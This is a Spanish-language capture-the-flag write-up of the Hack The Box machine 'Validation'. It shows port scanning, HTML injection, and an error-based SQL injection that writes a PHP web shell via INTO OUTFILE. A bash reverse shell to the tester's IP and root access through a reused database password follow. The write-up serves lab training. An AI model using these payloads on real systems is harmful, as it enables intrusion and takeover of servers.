537 palabras
3 minutos
Validation HTB Writeup

Validation es una máquina Linux de dificultad fácil que presenta una aplicación web susceptible a una Inyección SQL. Capitalizando en esta vulnerabilidad, un atacante puede inscribir un web shell en el sistema, conduciendo a la Ejecución Remota de Código ( RCE ). Tras el punto de apoyo inicial, la escalada de privilegios se logra a través de la explotación de una contraseña de base de datos reutilizada, que conduce al acceso de nivel raíz a la máquina

kills#

  • HTML Injection
  • SQLI (Error Based)
  • SQLI -> RCE (INTO OUTFILE)
  • Information Leakage

Information Gathering#

Primero vemos si tenemos conexion con la maquina:

ping -c 1 10.10.11.116 
PING 10.10.11.116 (10.10.11.116) 56(84) bytes of data.
64 bytes from 10.10.11.116: icmp_seq=1 ttl=63 time=155 ms

--- 10.10.11.116 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 154.671/154.671/154.671/0.000 ms

Iniciamos un escaneo de puertos:

sudo nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.11.116 -oG nmap 

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
4566/tcp open  kwtc
8080/tcp open  http-proxy

Ahora a ver que versiones tenemos en cada uno de los servicios de cada puerto:

nmap -sCV -p22,80,4566,8080 10.10.11.116 

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d8:f5:ef:d2:d3:f9:8d:ad:c6:cf:24:85:94:26:ef:7a (RSA)
|   256 46:3d:6b:cb:a8:19:eb:6a:d0:68:86:94:86:73:e1:72 (ECDSA)
|_  256 70:32:d7:e3:77:c1:4a:cf:47:2a:de:e5:08:7a:f8:7a (ED25519)
80/tcp   open  http    Apache httpd 2.4.48 ((Debian))
|_http-server-header: Apache/2.4.48 (Debian)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
4566/tcp open  http    nginx
|_http-title: 403 Forbidden
8080/tcp open  http    nginx
|_http-title: 502 Bad Gateway
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeration#

Port 80 - http (Apache httpd 2.4.48)#

alt text

Vamos a interceptar esto con nuestro Burp Suite, para ver que podemos ver en la peticion de esta web

alt text

Interesante, probaremos varias cositas en estos campos de abajo:

HTML Injection#

En el campo de name podemos meter codigo html y la web lo interpreta en el account.php:

<span style="color: #33acff">Mil4ne</span>

Cambiamos el color del name a azul:

alt text

Pero no podemos injectar codigo php para enviarnos una shell, ya que todo el name se guarda dentro de un <h1>

SQLI (Error Based)#

Encontramos una SQLI en el campo de country

alt text

alt text

podemos ver el nombre de la base de datos en la pagina.

Explotation#

Intentamos Introducir un archivo php mediante la SQLI con nuestro codigo malisioso:

username=mil4ne&country=Afganistan' UNION SELECT "<?php SYSTEM($_REQUEST['cmd']); ?>" INTO OUTFILE
'/var/www/html/shell.php'-- -

alt text

al hacer el Forward la pagina nos da un error raro, pero lo ignoramos y pasamos a probar si logramos crear el shell.php.

curl http://10.10.11.116/shell.php?cmd=ls
<span style="color: #33acff">Mil4ne</span>
account.php
config.php
css
index.php
js
shell.php

logramos ejecutar comandos en la maquina victima, ahora nos vamos a enviar una Reverse Shell a nuestra maquina:

nc -nlvp 9001 
listening on [any] 9001 ...

Generamos una revshell, por aqui te dejo una pagina util para esto: https://www.revshells.com/

curl http://10.10.11.116/shell.php --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.14.11/9001 0>&1"'

alt text

Ahora hay que hacer tratamiento de tty:

script /dev/null -c bash

Script started, file is /dev/null

^Z
stty raw -echo; fg
[1]  + continued  nc -nlvp 9001
                              reset
reset: unknown terminal type unknown
Terminal type? xterm

Privilege Escalation#

al entrar a la maquina lo primero que vemos es un config.php, que contiene esto:

ww-data@validation:/var/www/html$ cat config.php 
<?php
  $servername = "127.0.0.1";
  $username = "uhc";
  $password = "uhc-9qual-global-pw";
  $dbname = "registration";

  $conn = new mysqli($servername, $username, $password, $dbname);
?>

Encontramos una password, vamos a ver si nos sirve para algun usuario:

www-data@validation:/var/www/html$ su -
Password: uhc-9qual-global-pw

Con esto completamos la maquina, gracias por leer.

Validation HTB Writeup
https://mil4ne.pages.dev/
Autor
Mil4ne
Publicando el
2024-08-08